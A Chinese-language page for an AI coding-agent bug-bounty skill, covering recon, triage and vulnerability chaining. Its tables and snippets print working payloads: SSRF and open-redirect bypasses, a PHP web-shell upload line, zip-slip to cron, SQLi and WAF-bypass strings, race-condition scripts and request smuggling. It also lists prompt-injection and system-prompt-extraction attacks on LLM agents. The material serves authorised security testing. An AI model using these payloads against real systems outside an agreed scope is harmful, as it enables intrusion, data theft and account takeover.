关于 bug-bounty
这是一项涵盖侦察、漏洞挖掘、验证和报告的漏洞赏金工作流技能。它强调确认目标范围与现实影响,并提供调查漏洞链的方法及工具指引。
主要功能
- 01从侦察到报告的挖掘流程
- 02目标范围与实际影响检查
- 03七问漏洞筛选关卡
- 04相关漏洞链挖掘方法
- 05常见测试任务的工具指引
适用场景
- 01规划范围明确的漏洞赏金评估
- 02报告前验证疑似漏洞
- 03确认发现后调查相关端点
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ awarexone/ agentic-bug-hunter --skill bug-bounty安装后在 Claude Code 中输入/bug-bounty确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
.gitignoreADOPTERS.mdAGENTS.mdFAQ.mdLICENSECLAUDE.mdCHANGELOG.mdOPENCODE.mdMANIFEST.inREADME.mdTERMS.md.claude-plugin/plugin.json.claude/settings.json.github/FUNDING.ymlCONTRIBUTING.mdCODE_OF_CONDUCT.mdSECURITY.mdPULL_REQUEST_TEMPLATE.md.github/ISSUE_TEMPLATE/feature_request.mdfalse_positive.mdbug_report.md.github/workflows/tests.ymlbughunter/agent.py__init__.py__main__.pybughunter/agents/README.mdcredential-hunter.mdchain-builder.mdautopilot.mdrecon-ranker.md详细介绍
漏洞赏金主工作流
完整流程:侦察 -> 学习 -> 搜寻 -> 验证 -> 报告。一个技能,涵盖所有环节。
唯一重要的问题
“攻击者现在能否对一名没有采取任何异常操作的真实用户实施攻击,并造成实际损害(资金被盗、个人身份信息泄露、账户被接管、代码执行)?”
如果答案是否定的——停止。不要写报告。不要继续探索。转向下一个目标。
理论漏洞 = 浪费时间。立即排除以下情况:
| 模式 | 排除原因 |
|---|---|
| “理论上可能导致……” | 无法利用 = 不是漏洞 |
| “攻击者在满足 X、Y、Z 条件时可以……” | 前置条件太多 |
| “实现有误,但没有实际影响” | 有误但无害 = 不是漏洞 |
| 含有漏洞的死代码 | 无法触达 = 不是漏洞 |
| 不含机密信息的 Source Map | 没有影响 |
| 只有 DNS 回调的 SSRF | 需要数据外泄或内部访问 |
| 单独的开放重定向 | 需要账户接管或 OAuth 攻击链 |
| “如果能串联其他漏洞,就可以……” | 先构建攻击链,再报告 |
必须证明实际损害。“可能”不算漏洞。证明其可行,否则放弃。
关键规则
- 先阅读完整的范围说明——确认每个资产/域名都归目标组织所有
- 不要提交理论漏洞——“攻击者现在能否窃取资金、泄露个人身份信息、接管账户或执行代码?”如果不能,停止。
- 快速排除薄弱发现——撰写报告前,先通过 7 个问题的筛选关卡
- 先验证,再撰写——先检查 CHANGELOG、设计文档和部署脚本
- 一次只查一种漏洞类型——深入调查,不要撒网式扫描
- 确认数据并非早已公开——报告 API“泄露”前,先用无痕模式检查网页界面
- 5 分钟规则——探测 5 分钟后目标仍无响应(全部返回 401/403/404)?转向下一个目标
- 以影响为先进行搜寻——问“如果身份验证被绕过,最糟会发生什么?”如果没有有价值的影响,就跳过该目标
- 凭据泄露需要利用证明——发现密钥还不够,必须证明它们能访问什么
- 停止浅层侦察的无效循环——不要探测 403,不要 grep 分析工具密钥,不要检查毫无进展的暂存域名
- 业务影响优先于漏洞类型——严重程度取决于具体情境,而不仅仅是漏洞类型
- 深入了解目标——开始搜寻前,像真实用户一样熟悉应用
- 不要过度依赖自动化——自动扫描会撞上 WAF、触发速率限制,还会发现其他人都发现过的漏洞
- 搜寻竞争较少的漏洞类型——XSS/SSRF/XXE 竞争最激烈。拓展到:缓存投毒、Android/移动端漏洞、业务逻辑、竞态条件、OAuth/OIDC 攻击链、CI/CD 流水线攻击
- 一小时规则——在一个目标上卡了一小时且毫无进展?切换上下文
- 双视角方法——结合系统化测试(检查清单)与异常检测(留意意外行为)
- T 型知识结构——在一个领域深入钻研,同时广泛了解其他领域
完整的漏洞搜寻方法论——包括 5 阶段非线性工作流、开发者心理框架、会话纪律、按阶段选择工具,以及广度/深度路径选择,请参阅
skills/bb-methodology/SKILL.md。
A->B 漏洞信号法(聚类搜寻)
**发现漏洞 A 后,系统地搜寻附近的漏洞 B 和 C。**这是漏洞赏金中最强大的方法之一。单个漏洞有回报,串联漏洞的回报可高出 3 到 10 倍。
已知的 A->B->C 利用链
| 漏洞 A(信号) | 寻找漏洞 B | 升级到 C |
|---|---|---|
| IDOR(读取) | 对同一端点执行 PUT/DELETE | 完整操纵账户数据 |
| SSRF(任意) | 云元数据 169.254.169.254 | 窃取 IAM 凭证 -> RCE |
| XSS(存储型) | 检查会话 Cookie 是否设置了 HttpOnly | 劫持会话 -> ATO |
| 开放重定向 | OAuth redirect_uri 是否接受你的域名 | 窃取授权码 -> ATO |
| S3 存储桶列表 | 枚举 JS 包 | 搜索 OAuth client_secret -> OAuth 利用链 |
| 绕过速率限制 | 暴力破解 OTP | 接管账户 |
| GraphQL 内省 | 缺少字段级授权 | 批量窃取 PII |
| 调试端点 | 泄露环境变量 | 云凭证 -> 基础设施访问 |
| CORS 反射来源 | 使用 credentials: include 进行测试 | 窃取经身份验证的数据 |
| Host 头注入 | 密码重置投毒 | 通过重置链接 ATO |
集群狩猎流程(6 个步骤)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
真实案例
Coinbase S3->Bundle->Secret->OAuth 利用链:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna 聊天机器人利用链:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
顶尖 1% 黑客的思维方式
顶尖黑客的不同思考方式
普通猎手:运行工具、对照清单检查,30 分钟后就放弃。 顶尖 1%:构建对应用内部机制的心智模型。他们会问:“为什么它会以这种方式运行?”而不是“这个端点做什么?”,而是“是什么业务决策让开发者这样构建它?他们可能走了什么捷径?”
狩猎前的思维框架
步骤 1:锁定核心目标
在动手之前,先问:“如果我是攻击者,只能对这个应用做一件事,什么会造成最大损害?”
- 金融应用 -> 转走资金,转入攻击者账户
- 医疗健康 -> 泄露 PII,违反 HIPAA
- SaaS -> 跨租户数据泄露,接管管理员账户
- 身份验证提供商 -> 全面攻陷 SSO 链
步骤 2:设身处地为开发者着想
像构建该功能的开发者一样思考:
- 最简单的实现方式是什么?
- 一个疲惫的开发者凌晨 2 点会走什么捷径?
- 在哪里检查授权——控制器、中间件,还是数据库层?
- 不先经过端点 A,直接调用端点 B 会发生什么?
步骤 3:绘制信任边界
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
步骤 4:思考功能间的交互
- 这个新功能会复用旧的授权逻辑,还是有自己的授权逻辑?
- 移动端 API 是否与 Web 应用共用授权逻辑?
- 这个功能是由同一个团队还是第三方构建的?
顶尖 1% 的思维清单
- 我了解该应用的核心业务模式
- 我以真实用户身份使用过该应用至少 15 分钟
- 我了解技术栈(语言、框架、授权系统、缓存)
- 我至少读过该计划公开的 3 份报告
- 我准备好了 2 个测试账户(攻击者 + 受害者)
- 我已确定主要目标:今天要寻找的一个核心目标
顶尖猎手的思维准则
“狩猎功能,而非端点”——找出服务于某项功能的所有端点,然后测试它们之间的交互。
“授权不一致是你的帮手”——如果应用在 9 个地方检查授权,却漏掉了第 10 个地方,这就是你的漏洞。
“新功能 == 未审查”——过去 30 天内推出的功能,安全成熟度最低。
“考虑二阶问题”——二阶 SSRF:URL 保存在数据库中,由定时任务抓取。二阶 XSS:内容经过清理后存储,却在管理面板中不安全地渲染。
“追踪资金流向”——凡是涉及支付、账单、额度、退款的功能,都是开发者最容易走安全捷径的地方。
“移动应用使用的 API”——移动应用通常会调用较旧或不同版本的 API。同一家公司,不同的攻击面,安全成熟度更低。
“比较差异能发现漏洞”——比较旧版和新版 API 文档。比较移动端 API 和 Web API。比较免费用户可以请求的内容与付费用户收到的响应。
工具
Go 二进制工具
| 工具 | 用途 |
|---|---|
| subfinder | 被动子域名枚举 |
| httpx | 探测存活主机 |
| dnsx | DNS 解析 |
| nuclei | 模板扫描器 |
| katana | 爬取 |
| waybackurls | 存档 URL |
| gau | 已知 URL |
| dalfox | XSS 扫描器 |
| ffuf | 模糊测试器 |
| anew | 去重追加 |
| qsreplace | 替换参数值 |
| assetfinder | 子域名枚举 |
| gf | Grep 模式(xss、sqli、ssrf、redirect) |
| interactsh-client | 带外回调 |
按需安装的工具
| 工具 | 用途 | 安装 |
|---|---|---|
| arjun | 发现隐藏参数 | pip3 install arjun |
| paramspider | 挖掘 URL 参数 | pip3 install paramspider |
| kiterunner | API 端点暴力枚举 | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | 云资产枚举 | pip3 install cloud_enum |
| trufflehog | 密钥扫描 | brew install trufflehog |
| gitleaks | 密钥扫描 | brew install gitleaks |
| XSStrike | 高级 XSS 扫描器 | pip3 install xsstrike |
| SecretFinder | 提取 JS 密钥 | pip3 install secretfinder |
| sqlmap | SQL 注入 | pip3 install sqlmap |
| subzy | 子域名接管 | go install github.com/LukaSikic/subzy@latest |
静态分析(Semgrep 快速审计)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF 高级技巧
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI 辅助工具
- strix(usestrix.com)-- 用于自动化初步扫描的开源 AI 扫描器
阶段 1:侦察
标准侦察流程
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
云资产枚举
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API 端点发现
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne 范围检索
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
快速收获检查清单
- 子域名接管(
subjack、subzy) - 暴露的
.git(/.git/config) - 暴露的环境文件(
/.env、/.env.local) - 管理面板上的默认凭据
- JS 密钥(SecretFinder、jsluice)
- 开放重定向(
?redirect=、?next=、?url=) - CORS 配置错误(测试
Origin: https://evil.com+ 凭据) - S3/云存储桶
- 已启用 GraphQL 内省
- Spring Actuator(
/actuator/env、/actuator/heapdump) - Firebase 开放读取(
https://TARGET.firebaseio.com/.json)
技术指纹识别
| 特征 | 技术 |
|---|---|
Cookie:XSRF-TOKEN + *_session | Laravel |
Cookie:PHPSESSID | PHP |
Header:X-Powered-By: Express | Node.js/Express |
响应:wp-json/wp-content | WordPress |
响应:{"errors":[{"message": | GraphQL |
Header:X-Powered-By: Next.js | Next.js |
框架快速收获
Laravel:/horizon、/telescope、/.env、/storage/logs/laravel.log
WordPress:/wp-json/wp/v2/users、/xmlrpc.php、/?author=1
Node.js:/.env、/graphql(内省)、/_debug
AWS Cognito:/oauth2/userInfo(泄露 Pool ID),CORS 会反射任意来源
源代码侦察
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
特定语言的 Grep 模式
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
阶段 2:学习(狩猎前情报)
阅读已披露的报告
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
“发生了什么变化”方法
- 查找类似技术的已披露报告
- 获取修复提交
- 阅读差异 -- 找出反模式
- 在目标中 Grep 查找相同的反模式
威胁建模模板
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
顶级报告中的 6 个关键模式
- 功能复杂度 = 漏洞面 -- 导入、集成、多租户、多步骤工作流
- 开发者不一致 = 最有力的证据 -- 一处使用
timingSafeEqual,另一处使用=== - “Else 分支”漏洞 -- 代理/网关在 else 路径中未经验证便传递原始令牌
- 导入/导出 = SSRF -- 历来每个“从 URL 导入”功能都存在 SSRF
- 次要/旧版端点 = 无身份验证 --
/api/v1/有保护,但/api/没有 - 金融操作中的竞态窗口 -- 将检查和扣款作为两次 DB 操作 = 双重支出
阶段 3:狩猎
笔记系统(切勿在没有笔记的情况下狩猎)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
子域名类型 -> 测试策略
- dev/staging/test:调试端点、禁用的身份验证、详细错误信息
- admin/internal:默认凭据、IP 绕过请求头(
X-Forwarded-For: 127.0.0.1) - api/api-v2:使用 kiterunner 枚举,检查较旧且未受保护的版本
- auth/sso:OAuth 配置错误、
redirect_uri中的开放重定向 - upload/cdn:CORS、路径遍历、存储型 XSS
基于 CVE 的审计方法
- 构建 CVE 评估集 —— 收集目标代码库中过去的 5-10 个 CVE
- 复现旧漏洞 —— 验证能否在旧代码中找到该模式
- 向前匹配模式 —— 在当前代码中搜索相同的反模式
- 重点关注攻击面广的领域 —— JS 引擎、解析器,以及任何处理不可信外部输入的内容
Rust/区块链源代码(实战经验)
恐慌路径:编码与解码 —— 编码路径上的 .unwrap() 无法由攻击者触发。只有对网络输入进行反序列化/解码时发生的恐慌才可被利用。
“已知 TODO”不构成缓解措施 —— 类似 // Votes are not signed for now 的注释并不意味着安全。
从已确认的发现出发进行基于模式的搜寻 —— 如果 verify_signed_vote 存在缺陷,就检查 verify_signed_proposal 和 verify_commit_signature。
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
漏洞搜寻检查清单
IDOR —— 不安全的直接对象引用
Web2 中赏金最高的类别之一——所有获得赏金的提交中有 30%。
IDOR 变体(10 种测试方式)
| 变体 | 测试内容 |
|---|---|
| V1:直接 | 更改 URL 路径中的对象 ID:/api/users/123 -> /api/users/456 |
| V2:请求体参数 | 更改 POST/PUT JSON 请求体中的 ID:{"user_id": 456} |
| V3:GraphQL 节点 | { node(id: "base64(OtherType:123)") { ... } } |
| V4:批量 | /api/users?ids=1,2,3,4,5 —— 一次请求多个 ID |
| V5:嵌套 | 更改父级 ID:/orgs/{org_id}/users/{user_id} |
| V6:文件路径 | /files/download?path=../other-user/file.pdf |
| V7:可预测 | 连续整数、时间戳、短 UUID |
| V8:切换方法 | GET 返回 403?尝试对同一端点使用 PUT/PATCH/DELETE |
| V9:版本回退 | v2 被拦截?尝试同一端点的 /api/v1/ |
| V10:请求头注入 | X-User-ID: victim_id、X-Org-ID: victim_org |
IDOR 测试检查清单
- 创建两个账户(A = 攻击者,B = 受害者)
- 以 A 身份登录,执行所有操作,并记录请求中的所有 ID
- 以 B 身份登录,使用 B 的身份验证重放带有 A 的 ID 的请求
- 对所有端点尝试替换 ID——不只是 GET,也包括 PUT/DELETE/PATCH
- 检查 API v1/v2 的差异
- 检查 GraphQL 架构中的 node() 查询
- 检查 WebSocket 消息中由客户端提供的 ID
- 测试批量端点(能否请求多个 ID?)
- 尝试添加意外参数:
?user_id=other_user
IDOR 攻击链(更高赏金)
- IDOR + 读取 PII = 中危
- IDOR + 写入(修改他人数据)= 高危
- IDOR + 管理员端点 = 严重(权限提升)
- IDOR + 账户接管路径 = 严重
- IDOR + 聊天机器人(大模型读取其他用户的数据)= 高危
SSRF —— 服务端请求伪造
- 尝试云元数据:
http://169.254.169.254/latest/meta-data/ - 尝试内部服务:
http://127.0.0.1:6379/(Redis)、:9200(Elasticsearch)、:27017(MongoDB) - 测试所有 IP 绕过技术(见下表)
- 测试协议绕过:
file://、dict://、gopher:// - 检查:Webhook URL、从 URL 导入、个人资料图片 URL、PDF 生成器、XML 解析器
SSRF IP 绕过表(11 种技巧)
| 绕过方式 | 载荷 | 说明 |
|---|---|---|
| 十进制 IP | http://2130706433/ | 将 127.0.0.1 表示为一个十进制数 |
| 十六进制 IP | http://0x7f000001/ | 十六进制表示 |
| 八进制 IP | http://0177.0.0.1/ | 八进制 0177 = 127 |
| 短 IP | http://127.1/ | 缩写形式 |
| IPv6 | http://[::1]/ | IPv6 回环地址 |
| IPv6 映射地址 | http://[::ffff:127.0.0.1]/ | IPv4 映射的 IPv6 地址 |
| 重定向链 | http://attacker.com/302->http://169.254.169.254 | 检查每一跳 |
| DNS 重绑定 | 注册一个解析到 127.0.0.1 的域名 | 首次检查时为外部地址,获取时为内部地址 |
| URL 编码 | http://127.0.0.1%[email protected] | 解析器混淆 |
| 带圈字母数字 | http://①②⑦.⓪.⓪.① | Unicode 数字 |
| 协议混淆 | gopher://127.0.0.1:6379/_INFO | Redis 等协议 |
SSRF 影响链
- 仅 DNS 查询 = 信息级(不要提交)
- 可访问内部服务 = 中危
- 可读取云元数据 = 高危(密钥暴露)
- 可读取云元数据 + 外传密钥 = 严重(在云端执行代码)
- 可访问 Docker API = 严重(直接 RCE)
OAuth / OIDC
- 缺少
state参数 -> CSRF -
redirect_uri接受通配符 -> ATO - 缺少 PKCE -> 授权码被盗
- 隐式流 -> 引荐来源中泄露令牌
- 认证后重定向中存在开放重定向 -> OAuth 令牌窃取链
开放重定向绕过表(11 种技巧)
将开放重定向串联到 OAuth 授权码窃取时使用:
| 绕过方式 | 载荷 | 说明 |
|---|---|---|
| 双重 URL 编码 | %252F%252F | 双重解码后变为 // |
| 反斜杠 | https://target.com\@evil.com | 某些解析器会将 \ 规范化为 / |
| 缺少协议 | //evil.com | 协议相对 URL |
| @ 技巧 | https://[email protected] | target.com 会被解析为用户名 |
| 协议相对 URL | ///evil.com | 三个斜杠 |
| 制表符/换行符注入 | //evil%09.com | 主机名中包含空白字符 |
| 片段技巧 | https://evil.com#target.com | 片段会误导验证逻辑 |
| 空字节 | https://evil.com%00target.com | 某些解析器会在空字节处截断 |
| 参数污染 | ?next=target.com&next=evil.com | 采用最后一个值 |
| 路径混淆 | /redirect/..%2F..%2Fevil.com | 重定向中的路径遍历 |
| Unicode 规范化 | https://evil.com/target.com | 视觉混淆 |
文件上传
文件上传绕过表
| 绕过方式 | 技巧 |
|---|---|
| 双扩展名 | file.php.jpg、file.php%00.jpg |
| 大小写变体 | file.pHp、file.PHP5 |
| 替代扩展名 | .phtml、.phar、.shtml、.inc |
| 伪造 Content-Type | 使用 PHP 内容并设置 image/jpeg 标头 |
| 魔数 | GIF89a; <?php system($_GET['c']); ?> |
| 上传 .htaccess | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| 竞态条件 | 在清理操作运行前上传并执行 |
| JPEG/PHP 多态文件 | 同时是有效 JPEG 和有效 PHP 的文件 |
| Zip slip | 压缩包内文件名使用 ../../etc/cron.d/shell |
魔数参考
| 类型 | 十六进制 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
竞态条件
- 优惠券代码 / 促销代码
- 礼品卡兑换
- 资金转账 / 提取
- 投票 / 评分限制
- 通过竞态暴力破解 OTP 验证
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- 单数据包攻击(所有请求同时到达)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
业务逻辑
- 购物车中使用负数数量
- 篡改价格参数
- 跳过工作流步骤(例如,未结账直接付款)
- 通过注册字段提升角色
- 降级后权限仍然保留
XSS -- 跨站脚本攻击
XSS 接收点(grep 搜索以下内容)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS 链(从中危升级到高危/严重)
- XSS + 敏感页面(银行、管理后台)= 高危
- XSS + 窃取 CSRF 令牌 = 绕过 CSRF -> 执行严重操作
- XSS + service worker = 跨页面持久化 XSS
- XSS + 通过伪造登录表单窃取凭据 = ATO
- 聊天机器人响应中的 XSS = 存储型 XSS 链
SQL 注入
检测
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
现代 SQLi WAF 绕过
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
内省(单独来看 = 信息级,但会暴露攻击面)
{ __schema { types { name fields { name type { name } } } } }
缺少字段级授权
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
批处理攻击(绕过速率限制)
[
{"query": "{ login(email: \"[email protected]\", password: \"pass1\") }"},
{"query": "{ login(email: \"[email protected]\", password: \"pass2\") }"},
"...100 more..."
]
LLM / AI 功能
- 通过传递给 LLM 的用户输入实施提示词注入
- 通过 AI 处理的文档/URL 实施间接注入
- 聊天记录中的 IDOR(枚举对话 ID)
- 通过角色扮演/编码提取系统提示词
- 滥用代码执行工具实现 RCE
- ASCII 欺骗(LLM 输出中不可见的 Unicode 字符)
Agentic AI 漏洞挖掘(OWASP ASI01-ASI10)
当目标包含可调用工具的 AI Agent 时,以下是 10 种攻击类别:
| ID | 漏洞类别 | 测试内容 |
|---|---|---|
| ASI01 | 提示词注入 | 通过用户输入颠覆系统提示词——诱使 Agent 无视规则 |
| ASI02 | 工具滥用 | 诱使 AI 使用攻击者控制的参数调用工具(通过“fetch URL”实施 SSRF,通过代码工具实施 RCE) |
| ASI03 | 数据外泄 | 通过精心构造、泄露上下文的提示词提取训练数据 / PII |
| ASI04 | 权限提升 | 利用 AI 访问仅限管理员使用的工具——Agent 的权限比用户更广 |
| ASI05 | 间接注入 | 污染 AI 处理的文档/URL——在抓取的内容中隐藏指令 |
| ASI06 | 代理权限过大 | AI 未经确认便执行破坏性操作——删除、发送、付款 |
| ASI07 | 模型 DoS | 构造输入导致无限循环、过度使用令牌或内存耗尽 |
| ASI08 | 不安全输出 | AI 在输出中生成 XSS/SQLi/命令注入内容,随后这些内容被渲染 |
| ASI09 | 供应链 | AI 调用的插件/工具/MCP 服务遭到入侵 |
| ASI10 | 敏感信息泄露 | AI 泄露内部配置、API 密钥、系统提示词、用户数据 |
分级规则: 单独的 ASI = 信息级。必须与 IDOR/数据外泄/RCE/ATO 组成攻击链,才能获得付费赏金。
缓存投毒 / Web 缓存欺骗
- 测试
X-Forwarded-Host、X-Original-URL、X-Rewrite-URL——响应中反射的未参与缓存键计算的请求头 - 参数隐藏(
?param=value;poison=xss) - 带请求体的 GET(GET 请求中的请求体参数)
- Web 缓存欺骗(
/account/settings.css——诱使缓存存储私人响应) - Param Miner(Burp 扩展)——自动发现未参与缓存键计算的请求头
HTTP 请求走私
- CL.TE:前端处理 Content-Length,后端处理 Transfer-Encoding
- TE.CL:前端处理 Transfer-Encoding,后端处理 Content-Length
- H2.CL:HTTP/2 降级走私
- TE 混淆:
Transfer-Encoding: xchunked、制表符前缀、空格前缀 - 使用 Burp“HTTP Request Smuggler”扩展——自动检测
CL.TE 示例
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
